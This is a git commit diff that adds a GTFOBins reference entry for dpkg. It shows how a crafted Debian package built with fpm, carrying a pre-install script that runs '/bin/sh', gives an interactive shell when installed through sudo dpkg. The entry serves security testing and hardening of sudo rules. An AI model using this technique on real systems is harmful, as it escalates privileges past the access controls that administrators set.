Emilio 2019-02-02 15:13:28 +00:00
parent 3166a321c0
commit 7a3ae6e05a

12
_gtfobins/dpkg.md Normal file
View File

@ -0,0 +1,12 @@
---
functions:
sudo:
- description: |
It runs an interactive shell using a specially crafted Debian package. Generate it with [fpm](https://github.com/jordansissel/fpm) and upload it to the target.
```
TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF
```
code: sudo dpkg -i x_1.0_all.deb
---